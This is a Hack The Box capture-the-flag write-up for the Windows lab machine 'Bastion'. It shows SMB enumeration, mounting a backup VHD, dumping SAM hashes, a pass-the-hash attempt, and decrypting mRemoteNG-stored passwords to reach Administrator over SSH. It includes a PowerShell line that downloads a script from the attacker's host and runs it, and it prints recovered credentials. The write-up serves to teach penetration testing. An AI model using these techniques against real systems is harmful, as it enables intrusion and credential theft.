---
search:
  exclude: true
---
# Bastion Writeup

![](img/31.png)

## Introduction :

Bastion is an easy Windows Box that was released back in April 2019.

## **Part 1 : Initial Enumeration**

As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
    
    
      λ nihilist [ 85.171.153.138 ] [ ~/_HTB/ ]
      → nmap -F 10.10.10.134
      Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-09 18:20 CET
      Nmap scan report for 10.10.10.134
      Host is up (0.044s latency).
      Not shown: 96 closed ports
      PORT    STATE SERVICE
      22/tcp  open  ssh
      135/tcp open  msrpc
      139/tcp open  netbios-ssn
      445/tcp open  microsoft-ds
    
      Nmap done: 1 IP address (1 host up) scanned in 1.45 seconds
    
      λ nihilist [ 85.171.153.138 ] [ ~/_HTB/ ]
      → nmap -sCV -p22,135,139,445 10.10.10.134
      Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-09 18:21 CET
      Nmap scan report for 10.10.10.134
      Host is up (0.059s latency).
    
      PORT    STATE SERVICE      VERSION
      22/tcp  open  ssh          OpenSSH for_Windows_7.9 (protocol 2.0)
      | ssh-hostkey:
      |   2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
      |   256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
      |_  256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
      135/tcp open  msrpc        Microsoft Windows RPC
      139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
      445/tcp open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
      Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
    
      Host script results:
      |_clock-skew: mean: -19m28s, deviation: 34m37s, median: 30s
      | smb-os-discovery:
      |   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
      |   Computer name: Bastion
      |   NetBIOS computer name: BASTION\x00
      |   Workgroup: WORKGROUP\x00
      |_  System time: 2019-12-09T18:21:46+01:00
      | smb-security-mode:
      |   account_used: guest
      |   authentication_level: user
      |   challenge_response: supported
      |_  message_signing: disabled (dangerous, but default)
      | smb2-security-mode:
      |   2.02:
      |_    Message signing enabled but not required
      | smb2-time:
      |   date: 2019-12-09T17:21:48
      |_  start_date: 2019-12-09T16:05:13
    
      Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
      Nmap done: 1 IP address (1 host up) scanned in 18.74 seconds
    

## **Part 2 : Getting User Access**

Our nmap scan picked up port the smbservice running on port 135, 139 and 445, let's see if we can enumerate it a little further :
    
    
      λ root [ 10.10.14.48/23 ] [nihilist/_HTB/] → smbclient -L //10.10.10.134/ -U ""
      Unable to initialize messaging context
      smbclient: Can't load /etc/samba/smb.conf - run testparm to debug it
      Enter WORKGROUP\'s password:
    
      	Sharename       Type      Comment
      	---------       ----      -------
      	ADMIN$          Disk      Remote Admin
      	Backups         Disk
      	C$              Disk      Default share
      	IPC$            IPC       Remote IPC
      Reconnecting with SMB1 for workgroup listing.
      do_connect: Connection to 10.10.10.134 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
      Unable to connect with SMB1 -- no workgroup available
    
    

We seem to have a few services we can work with : let's check out Backups first. 
    
    
      λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Bastion ]
      → smbclient //10.10.10.134/Backups
      Unable to initialize messaging context
      smbclient: Can't load /etc/samba/smb.conf - run testparm to debug it
      Enter WORKGROUP\nihilist's password:
      Try "help" to get a list of possible commands.
      smb: \> ls
        .                                   D        0  Tue Apr 16 12:02:11 2019
        ..                                  D        0  Tue Apr 16 12:02:11 2019
        note.txt                           AR      116  Tue Apr 16 12:10:09 2019
        SDT65CB.tmp                         A        0  Fri Feb 22 13:43:08 2019
        WindowsImageBackup                  D        0  Fri Feb 22 13:44:02 2019
    
      		7735807 blocks of size 4096. 2747575 blocks available
      smb: \> get note.txt
      getting file \note.txt of size 116 as note.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
    

Now that we saved the note.txt locally we print out it's contents
    
    
      λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Bastion] → cat note.txt
    
      Sysadmins: please don't transfer the entire backup file locally, the VPN to the subsidiary office is too slow.
    

Let's follow their advice and mount the share 
    
    
      λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion]
    → mount -t cifs //10.10.10.134/Backups mount
    Password for root@//10.10.10.134/Backups:
    
    λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion]
    → ls && cd mount
    mount  note.txt
    
    λ root [ 10.10.14.15/23 ] [_HTB/Bastion/mount]
    → ls
    note.txt  SDT65CB.tmp  WindowsImageBackup
    
    
    

We can also enumerate the smb share using smbmap as demonstrated below :
    
    
      λ root [ 10.10.14.15/23 ] [_HTB/Bastion/mount]
      → smbmap -u nihilist -H 10.10.10.134
      [+] Finding open SMB ports....
      [+] Guest SMB session established on 10.10.10.134...
      [+] IP: 10.10.10.134:445	Name: 10.10.10.134
      	Disk                                                  	Permissions	Comment
      	----                                                  	-----------	-------
      	ADMIN$                                            	NO ACCESS	Remote Admin
      	Backups                                           	READ, WRITE
      	[!] Unable to remove test directory at \\10.10.10.134\BackupsvXVtBOoZjY, please remove manually
      	C$                                                	NO ACCESS	Default share
      	.
      	fr--r--r--                3 Sun Dec 31 23:58:45 1600	InitShutdown
      	fr--r--r--                4 Sun Dec 31 23:58:45 1600	lsass
      	fr--r--r--                3 Sun Dec 31 23:58:45 1600	ntsvcs
      	fr--r--r--                3 Sun Dec 31 23:58:45 1600	scerpc
      	fr--r--r--                1 Sun Dec 31 23:58:45 1600	Winsock2\CatalogChangeListener-2e4-0
      	fr--r--r--                3 Sun Dec 31 23:58:45 1600	epmapper
      	fr--r--r--                1 Sun Dec 31 23:58:45 1600	Winsock2\CatalogChangeListener-1cc-0
      	fr--r--r--                3 Sun Dec 31 23:58:45 1600	LSM_API_service
      	fr--r--r--                3 Sun Dec 31 23:58:45 1600	eventlog
      	fr--r--r--                1 Sun Dec 31 23:58:45 1600	Winsock2\CatalogChangeListener-378-0
      	fr--r--r--                3 Sun Dec 31 23:58:45 1600	atsvc
      	fr--r--r--                1 Sun Dec 31 23:58:45 1600	Winsock2\CatalogChangeListener-344-0
      	fr--r--r--                4 Sun Dec 31 23:58:45 1600	wkssvc
      	fr--r--r--                3 Sun Dec 31 23:58:45 1600	spoolss
      	fr--r--r--                1 Sun Dec 31 23:58:45 1600	Winsock2\CatalogChangeListener-5e0-0
      	fr--r--r--                3 Sun Dec 31 23:58:45 1600	trkwks
      	fr--r--r--                3 Sun Dec 31 23:58:45 1600	W32TIME_ALT
      	fr--r--r--                1 Sun Dec 31 23:58:45 1600	openssh-ssh-agent
      	fr--r--r--                1 Sun Dec 31 23:58:45 1600	vgauth-service
      	fr--r--r--                4 Sun Dec 31 23:58:45 1600	srvsvc
      	fr--r--r--                1 Sun Dec 31 23:58:45 1600	Winsock2\CatalogChangeListener-5a4-0
      	fr--r--r--                1 Sun Dec 31 23:58:45 1600	Winsock2\CatalogChangeListener-250-0
      	fr--r--r--                1 Sun Dec 31 23:58:45 1600	Winsock2\CatalogChangeListener-248-0
      	IPC$                                              	READ ONLY	Remote IPC
    
      λ root [ 10.10.14.15/23 ] [_HTB/Bastion/mount]
      → ls
      note.txt  SDT65CB.tmp  vXVtBOoZjY  WindowsImageBackup
    

The interesting thing to see here is that using smbmap it makes the directory named "vXVtBOoZjY" appear. Earlier the note.txt said that this was a massive share for their office's slow VPN, let's check the size using the **du** command.
    
    
      λ root [ 10.10.14.15/23 ] [_HTB/Bastion/mount]
      → ls
      note.txt  SDT65CB.tmp  vXVtBOoZjY  WindowsImageBackup
    
      λ root [ 10.10.14.15/23 ] [_HTB/Bastion/mount]
      → du -hs WindowsImageBackup
      5.1G	WindowsImageBackup
    

5.1 Gigs is quite alot indeed, now navigating into WindowsImageBackup we see the folder named 'L4mpje-PC'
    
    
      λ root [ 10.10.14.15/23 ] [_HTB/Bastion/mount]
      → cd WindowsImageBackup
    
      λ root [ 10.10.14.15/23 ] [Bastion/mount/WindowsImageBackup]
      → cd L4mpje-PC
    
      λ root [ 10.10.14.15/23 ] [mount/WindowsImageBackup/L4mpje-PC]
      → ls
      'Backup 2019-02-22 124351'   Catalog   MediaId   SPPMetadataCache
    

The backup folder seems interesting, let's see what we can get in there. 
    
    
      λ root [ 10.10.14.15/23 ] [mount/WindowsImageBackup/L4mpje-PC]
      → cd Backup\ 2019-02-22\ 124351
    
      λ root [ 10.10.14.15/23 ] [WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351]
      → du -hs *
      37M	9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd
      5.1G	9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd
      4.0K	BackupSpecs.xml
      4.0K	cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml
      12K	cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml
      8.0K	cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml
      4.0K	cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml
      4.0K	cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml
      4.0K	cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml
      4.0K	cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml
      4.0K	cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml
      8.0K	cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-8bef-46c7-9181-d62844cdc0b2.xml
      2.3M	cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml
    
    

Right here we see two interesting .vhd harddrives one weighing 37 Megs and the other one weighing 5.1Gigs From there, we will need to mount the virtual harddrives (VHD), to do so we will use the guestmount command
    
    
      λ root [ 10.10.14.15/23 ] [WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351]
      → guestmount
      zsh: command not found: guestmount
    
      λ root [ 10.10.14.15/23 ] [WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351]
      → apt install libguestfs-tools && guestmount --help
    

Once it's done installing, run the following command : 
    
    
      λ root [ 10.10.14.15/23 ] [WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351]
      → mkdir /home/nihilist/_HTB/Bastion/vhd
    
      λ root [ 10.10.14.15/23 ] [WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351]
      → guestmount --add 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro -v /home/nihilist/_HTB/Bastion/vhd
    

once it's done mounting, let's browse into the vhd directory we just created, and view the contents of the mounted virtual harddrive 
    
    
      λ root [ 10.10.14.15/23 ] [WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351]
      → cd /home/nihilist/_HTB/Bastion
    
      λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion]
      → cd vhd
    
      λ root [ 10.10.14.15/23 ] [_HTB/Bastion/vhd]
      → ls
      '$Recycle.Bin'   config.sys                pagefile.sys   ProgramData      Recovery                     Users
       autoexec.bat   'Documents and Settings'   PerfLogs      'Program Files'  'System Volume Information'   Windows
    
       λ root [ 10.10.14.15/23 ] [vhd/Users/L4mpje]
    → find Desktop Documents Downloads -ls
           25      0 drwxrwxrwx   1 root     root            0 Feb 22  2019 Desktop
           49      1 -rwxrwxrwx   1 root     root          282 Feb 22  2019 Desktop/desktop.ini
           26      4 drwxrwxrwx   1 root     root         4096 Feb 22  2019 Documents
           50      1 -rwxrwxrwx   1 root     root          402 Feb 22  2019 Documents/desktop.ini
           51      0 lrwxrwxrwx   2 root     root           27 Feb 22  2019 Documents/My\ Music -> /sysroot/Users/L4mpje/Music
           52      0 lrwxrwxrwx   2 root     root           30 Feb 22  2019 Documents/My\ Pictures -> /sysroot/Users/L4mpje/Pictures
           53      0 lrwxrwxrwx   2 root     root           28 Feb 22  2019 Documents/My\ Videos -> /sysroot/Users/L4mpje/Videos
           27      0 drwxrwxrwx   1 root     root            0 Feb 22  2019 Downloads
           54      1 -rwxrwxrwx   1 root     root          282 Feb 22  2019 Downloads/desktop.ini
    
    

nothing too interesting there, let's check out the Windows/System32/config/ folder.
    
    
      λ root [ 10.10.14.15/23 ] [vhd/Users/L4mpje]
      → cd ../..
    
      λ root [ 10.10.14.15/23 ] [_HTB/Bastion/vhd]
      → cd Windows/System32/config
    
      λ root [ 10.10.14.15/23 ] [Windows/System32/config]
      → ls
      BCD-Template                                                                                  SAM
      BCD-Template.LOG                                                                              SAM.LOG
      COMPONENTS                                                                                    SAM.LOG1
      COMPONENTS{6cced2ec-6e01-11de-8bed-001e0bcd1824}.TxR.0.regtrans-ms                            SAM.LOG2
      COMPONENTS{6cced2ec-6e01-11de-8bed-001e0bcd1824}.TxR.1.regtrans-ms                            SECURITY
      COMPONENTS{6cced2ec-6e01-11de-8bed-001e0bcd1824}.TxR.2.regtrans-ms                            SECURITY.LOG
      COMPONENTS{6cced2ec-6e01-11de-8bed-001e0bcd1824}.TxR.blf                                      SECURITY.LOG1
      COMPONENTS{6cced2ed-6e01-11de-8bed-001e0bcd1824}.TM.blf                                       SECURITY.LOG2
      COMPONENTS{6cced2ed-6e01-11de-8bed-001e0bcd1824}.TMContainer00000000000000000001.regtrans-ms  SOFTWARE
      COMPONENTS{6cced2ed-6e01-11de-8bed-001e0bcd1824}.TMContainer00000000000000000002.regtrans-ms  SOFTWARE.LOG
      COMPONENTS.LOG                                                                                SOFTWARE.LOG1
      COMPONENTS.LOG1                                                                               SOFTWARE.LOG2
      COMPONENTS.LOG2                                                                               SYSTEM
      DEFAULT                                                                                       SYSTEM.LOG
      DEFAULT.LOG                                                                                   SYSTEM.LOG1
      DEFAULT.LOG1                                                                                  SYSTEM.LOG2
      DEFAULT.LOG2                                                                                  systemprofile
      Journal                                                                                       TxR
      RegBack
    

let's copy the SAM and SYSTEM files locally. 
    
    
      λ root [ 10.10.14.15/23 ] [Windows/System32/config]
      → cp SAM SYSTEM /home/nihilist/_HTB/Bastion
    
      λ root [ 10.10.14.15/23 ] [Windows/System32/config]
      → cd ../../../..
    
      λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion]
      → ls
      mount  note.txt  SAM  SYSTEM  vhd
    
      λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion]
      → file SAM SYSTEM
      SAM:    MS Windows registry file, NT/2000 or above
      SYSTEM: MS Windows registry file, NT/2000 or above
    
    

Here we see that both these files are windows registry files, they may contain some interesting things. let's move them in another folder.
    
    
      λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion]
      → mkdir backup && mv SAM backup/ && mv SYSTEM backup/
    
      λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion]
      → cd backup
    
      λ root [ 10.10.14.15/23 ] [_HTB/Bastion/backup]
      → ls
      SAM  SYSTEM
    

from there we'll use the impacket-secretsdump command : 
    
    
      λ root [ 10.10.14.15/23 ] [_HTB/Bastion/backup]
      → impacket-secretsdump -sam SAM -system SYSTEM local
      Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
    
      [*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f
      [*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
      Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
      Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
      L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
      [*] Cleaning up...
    

And we have a few hashes, the administrator hash is blank (31d6 means nothing) so it probably means that the administrator account is disabled. Let's focus on the L4mpje user instead, we'll use the smbmap command once again, setting the -u (user) and -p (hash) -H (host) flags
    
    
      λ root [ 10.10.14.15/23 ] [_HTB/Bastion/backup]
    → smbmap -u L4mpje -p aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9 -H 10.10.10.134
    [+] Finding open SMB ports....
    [+] Hash detected, using pass-the-hash to authenticate
    [+] User session established on 10.10.10.134...
    [+] IP: 10.10.10.134:445	Name: 10.10.10.134
    	Disk                                                  	Permissions	Comment
    	----                                                  	-----------	-------
    	ADMIN$                                            	NO ACCESS	Remote Admin
    	Backups                                           	READ, WRITE
    	C$                                                	NO ACCESS	Default share
    

Looking at the results, we don't seem to have gained preety much anything, instead let's check out the ssh port that our nmap scan discovered earlier. In order to do so, we didn't find our password yet, we'll use the hash on https://hashes.org/search.php to see if it can guess it for us.

![](prg/31_001.png) ![](prg/31_002.png)

looking at the results, we seem to have credentials ! L4mpje:bureaulampje , now let's try to login as the user L4mpje through ssh.
    
    
      λ root [ 10.10.14.15/23 ] [_HTB/Bastion/backup]
    → ssh L4mpje@10.10.10.134
    The authenticity of host '10.10.10.134 (10.10.10.134)' can't be established.
    ECDSA key fingerprint is SHA256:ILc1g9UC/7j/5b+vXeQ7TIaXLFddAbttU86ZeiM/bNY.
    Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
    Warning: Permanently added '10.10.10.134' (ECDSA) to the list of known hosts.
    L4mpje@10.10.10.134's password:
    
    Microsoft Windows [Version 10.0.14393]
    (c) 2016 Microsoft Corporation. All rights reserved.
    
    l4mpje@BASTION C:\Users\L4mpje>
    

And we have user access to the box. let's print out the user flag.
    
    
      l4mpje@BASTION C:\Users\L4mpje>cd Desktop
    
      l4mpje@BASTION C:\Users\L4mpje\Desktop>dir
       Volume in drive C has no label.
       Volume Serial Number is 0CB3-C487
    
       Directory of C:\Users\L4mpje\Desktop
    
      22-02-2019  15:27    <****DIR>          .
      22-02-2019  15:27 <****DIR>          ..
      23-02-2019  09:07                32 user.txt
                     1 File(s)             32 bytes
                     2 Dir(s)  11.298.652.160 bytes free
    
      l4mpje@BASTION C:\Users\L4mpje\Desktop>type user.txt
      9bXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And that's it ! We have been able to print out the user flag. 

## **Part 3 : Getting Root Access**

Now to escalate privileges on the box we need to do a few things :
    
    
      l4mpje@BASTION C:\Users\L4mpje>net localgroup administrators
    Alias name     administrators
    Comment        Administrators have complete and unrestricted access to the computer/domain
    
    Members
    
    -------------------------------------------------------------------------------
    Administrator
    The command completed successfully.
    

Looking at the results of the **net localgroup administrators** command, we see that the user "Administrator" is there, even though we thought that he was disabled before. Let's run the net user command on our own user l4mpje to see which groups we are part of.
    
    
      l4mpje@BASTION C:\Users\L4mpje>net user l4mpje
      User name                    L4mpje
      Full Name                    L4mpje
      Comment
      User's comment
      Country/region code          000 (System Default)
      Account active               Yes
      Account expires              Never
    
      Password last set            22-2-2019 13:42:58
      Password expires             Never
      Password changeable          22-2-2019 13:42:58
      Password required            Yes
      User may change password     No
    
      Workstations allowed         All
      Logon script
      User profile
      Home directory
      Last logon                   12-2-2020 20:31:20
    
      Logon hours allowed          All
    
      Local Group Memberships      *Users
      Global Group memberships     *None
      The command completed successfully.
    

so here it says that our local group membership is with ***Users**. Running the same command on the Administrator user we see that
    
    
      l4mpje@BASTION C:\Users\L4mpje>net user Administrator
    User name                    Administrator
    Full Name
    Comment                      Built-in account for administering the computer/domain
    User's comment
    Country/region code          000 (System Default)
    Account active               Yes
    Account expires              Never
    
    Password last set            16-4-2019 11:00:56
    Password expires             Never
    Password changeable          16-4-2019 11:00:56
    Password required            Yes
    User may change password     Yes
    
    Workstations allowed         All
    Logon script
    User profile
    Home directory
    Last logon                   27-8-2019 10:18:29
    
    Logon hours allowed          All
    
    Local Group Memberships      *Administrators
    Global Group memberships     *None
    The command completed successfully.
    

here we see that the administrator user has his password last set on **16-4-2019 11:00:56**
    
    
      λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion]
      → cd vhd
    
      λ root [ 10.10.14.15/23 ] [_HTB/Bastion/vhd]
      → ls
      '$Recycle.Bin'   config.sys                pagefile.sys   ProgramData      Recovery                     Users
       autoexec.bat   'Documents and Settings'   PerfLogs      'Program Files'  'System Volume Information'   Windows
    
      λ root [ 10.10.14.15/23 ] [_HTB/Bastion/vhd]
      → cd Windows/System32/config
    
      λ root [ 10.10.14.15/23 ] [Windows/System32/config]
      → ls -lash | grep SAM
      256K -rwxrwxrwx 1 root root 256K Feb 22  2019 SAM
      4.0K -rwxrwxrwx 1 root root 1.0K Apr 12  2011 SAM.LOG
       24K -rwxrwxrwx 2 root root  21K Feb 22  2019 SAM.LOG1
         0 -rwxrwxrwx 2 root root    0 Jul 14  2009 SAM.LOG2
    
      λ root [ 10.10.14.15/23 ] [Windows/System32/config]
      → ls -lash | grep SYSTEM
      9.3M -rwxrwxrwx 1 root root 9.3M Feb 22  2019 SYSTEM
      4.0K -rwxrwxrwx 1 root root 1.0K Apr 12  2011 SYSTEM.LOG
      3.5M -rwxrwxrwx 2 root root 256K Feb 22  2019 SYSTEM.LOG1
         0 -rwxrwxrwx 2 root root    0 Jul 14  2009 SYSTEM.LOG2
    
    
    

From there we see that the SAM and SYSTEM registry files were last modified Febuary 22nd, so that's why we weren't able to see the administrator account before. Now in order to privesc, we will use a tool called JAWS which is a windows enumerating script
    
    
      λ root [ 10.10.14.15/23 ] [Windows/System32/config]
      → cd ../../..
    
      λ root [ 10.10.14.15/23 ] [_HTB/Bastion/vhd]
      → cd ..
    
      λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion]
      → curl -sk https://raw.githubusercontent.com/411Hall/JAWS/master/jaws-enum.ps1 > jaws-enum.ps1
    
      λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion]
      → ifconfig | grep inet
              inet 192.168.0.19  netmask 255.255.255.0  broadcast 192.168.0.255
              inet6 fe80::82fa:5bff:fe5b:4334  prefixlen 64  scopeid 0x20
              inet 127.0.0.1  netmask 255.0.0.0
              inet6 ::1  prefixlen 128  scopeid 0x10
              inet 10.10.14.15  netmask 255.255.254.0  destination 10.10.14.15
              inet6 dead:beef:2::100d  prefixlen 64  scopeid 0x0
              inet6 fe80::f96c:5ab:2911:51b  prefixlen 64  scopeid 0x20
    
      λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion]
      → python -m SimpleHTTPServer 8080
      Serving HTTP on 0.0.0.0 port 8080 ...
    

We will download the script (jaws-enum.ps1) at our ip (10.10.14.15) at the correct port (8080) onto the box.
    
    
      l4mpje@BASTION C:\Users\L4mpje>IEX(New-Object Net.WebClient).downloadString('http://10.10.14.15:8080/jaws-enum.ps1')
      'IEX' is not recognized as an internal or external command,
      operable program or batch file.
    

let's not forget that we'll use powershell to run that command :) 
    
    
      l4mpje@BASTION C:\Users\L4mpje>powershell
      Windows PowerShell
      Copyright (C) 2016 Microsoft Corporation. All rights reserved.
    
      PS C:\Users\L4mpje> IEX(New-Object Net.WebClient).downloadString('http://10.10.14.15:8080/jaws-enum.ps1')
    
      Running J.A.W.S. Enumeration
    

while that runs let's run another ssh session to see what we can find
    
    
      Microsoft Windows [Version 10.0.14393]
      (c) 2016 Microsoft Corporation. All rights reserved.
    
      l4mpje@BASTION C:\Users\L4mpje>cd ../..
    
      l4mpje@BASTION C:\>dir
       Volume in drive C has no label.
       Volume Serial Number is 0CB3-C487
    
       Directory of C:\
    
      12-02-2020  20:22    <****DIR>          Backups
      12-09-2016  12:35 <****DIR>          Logs
      22-02-2019  14:42 <****DIR>          PerfLogs
      27-08-2019  10:20 <****DIR>          Program Files
      22-02-2019  14:01 <****DIR>          Program Files (x86)
      22-02-2019  13:50 <****DIR>          Users
      12-02-2020  19:07 <****DIR>          Windows
                     0 File(s)              0 bytes
                     7 Dir(s)  11.297.501.184 bytes free
    
      l4mpje@BASTION C:\>cd Program Files (x86)
    
      l4mpje@BASTION C:\Program Files (x86)>dir
       Volume in drive C has no label.
       Volume Serial Number is 0CB3-C487
    
       Directory of C:\Program Files (x86)
    
      22-02-2019  14:01 <****DIR>          .
      22-02-2019  14:01 <****DIR>          ..
      16-07-2016  14:23 <****DIR>          Common Files
      23-02-2019  09:38 <****DIR>          Internet Explorer
      16-07-2016  14:23 <****DIR>          Microsoft.NET
      22-02-2019  14:01 <****DIR>          mRemoteNG
      23-02-2019  10:22 <****DIR>          Windows Defender
      23-02-2019  09:38 <****DIR>          Windows Mail
      23-02-2019  10:22 <****DIR>          Windows Media Player
      16-07-2016  14:23 <****DIR>          Windows Multimedia Platform
      16-07-2016  14:23 <****DIR>          Windows NT
      23-02-2019  10:22 <****DIR>          Windows Photo Viewer
      16-07-2016  14:23 <****DIR>          Windows Portable Devices
      16-07-2016  14:23 <****DIR>          WindowsPowerShell
                     0 File(s)              0 bytes
                    14 Dir(s)  11.297.501.184 bytes free

looking at the program files(x86) folder we see something interesting here, the mRemoteNG which is an open source, tabbed, multi-protocol, remote connections manager. looking at this [article](http://hackersvanguard.com/mremoteng-insecure-password-storage/) made by hackersvanguard.com, we see that it is possible to decrypt passwords. However for this example we'll use another solution in order to remain within the linux environment, using a this [ python script](https://raw.githubusercontent.com/haseebT/mRemoteNG-Decrypt/master/mremoteng_decrypt.py)
    
    
      λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion]
    → curl -sk https://raw.githubusercontent.com/haseebT/mRemoteNG-Decrypt/master/mremoteng_decrypt.py > mremoteng.py
    
    λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion]
    → python3 mremoteng.py
    usage: mremoteng.py [-h] [-f FILE | -s STRING] [-p PASSWORD]
    
    Decrypt mRemoteNG passwords.
    
    optional arguments:
      -h, --help            show this help message and exit
      -f FILE, --file FILE  name of file containing mRemoteNG password
      -s STRING, --string STRING
                            base64 string of mRemoteNG password
      -p PASSWORD, --password PASSWORD
                            Custom password
    

using python3 to print out the help menu we see that we will have to setup a few flags : first of all we need the string of the encrypted mremoteng password, which according to the aforementioned blog post is located in the config file, so let's navigate there
    
    
      PS C:\Users\L4mpje> cd \Users\L4mpje\Appdata\Roaming
    PS C:\Users\L4mpje\Appdata\Roaming> dir
    
    
        Directory: C:\Users\L4mpje\Appdata\Roaming
    
    
    Mode                LastWriteTime         Length Name
    ----                -------------         ------ ----
    d-----        22-2-2019     13:50                Adobe
    d---s-        22-2-2019     13:52                Microsoft
    d-----        22-2-2019     14:03                mRemoteNG
    

moving into mRemoteNG we print out the contents of confCons.xml 
    
    
      PS C:\Users\L4mpje\Appdata\Roaming> cd .\mRemoteNG\
    PS C:\Users\L4mpje\Appdata\Roaming\mRemoteNG> dir
    
    
        Directory: C:\Users\L4mpje\Appdata\Roaming\mRemoteNG
    
    
    Mode                LastWriteTime         Length Name
    ----                -------------         ------ ----
    d-----        22-2-2019     14:01                Themes
    -a----        22-2-2019     14:03           6316 confCons.xml
    -a----        22-2-2019     14:02           6194 confCons.xml.20190222-1402277353.backup
    -a----        22-2-2019     14:02           6206 confCons.xml.20190222-1402339071.backup
    -a----        22-2-2019     14:02           6218 confCons.xml.20190222-1402379227.backup
    -a----        22-2-2019     14:02           6231 confCons.xml.20190222-1403070644.backup
    -a----        22-2-2019     14:03           6319 confCons.xml.20190222-1403100488.backup
    -a----        22-2-2019     14:03           6318 confCons.xml.20190222-1403220026.backup
    -a----        22-2-2019     14:03           6315 confCons.xml.20190222-1403261268.backup
    -a----        22-2-2019     14:03           6316 confCons.xml.20190222-1403272831.backup
    -a----        22-2-2019     14:03           6315 confCons.xml.20190222-1403433299.backup
    -a----        22-2-2019     14:03           6316 confCons.xml.20190222-1403486580.backup
    -a----        22-2-2019     14:03             51 extApps.xml
    -a----        22-2-2019     14:03           5217 mRemoteNG.log
    -a----        22-2-2019     14:03           2245 pnlLayout.xml
    
    
    PS C:\Users\L4mpje\Appdata\Roaming\mRemoteNG> type confCons.xml
    Username="L4mpje" Domain="" Password="yhgmiu5bbuamU3qMUKc/uYDdmbMrJZ/JvR1kYe4Bhiu8bXybLxVnO0U9fKRylI7NcB9QuRsZVvla8esB"
    

and there we have our encrypted password string ! let's try out the python script we just got to see if it can decrypt it. 
    
    
      λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion]
      → python3 mremoteng.py -s yhgmiu5bbuamU3qMUKc/uYDdmbMrJZ/JvR1kYe4Bhiu8bXybLxVnO0U9fKRylI7NcB9QuRsZVvla8esB
      Password: bureaulampje
    

we already have that one, so we need to check for another one 
    
    
      Username="Administrator" Domain="" Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="
    
    
    
      λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion]
      → python3 mremoteng.py -s aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==
      Password: thXLHM96BeKL0ER2
    

seems like we have a password for the Administrator user, let's see if we can SSH as the Administrator user. 
    
    
      λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion]
    → ssh Administrator@10.10.10.134
    Administrator@10.10.10.134's password:
    
    Microsoft Windows [Version 10.0.14393]
    (c) 2016 Microsoft Corporation. All rights reserved.
    
    administrator@BASTION C:\Users\Administrator>whoami
    bastion\administrator
    

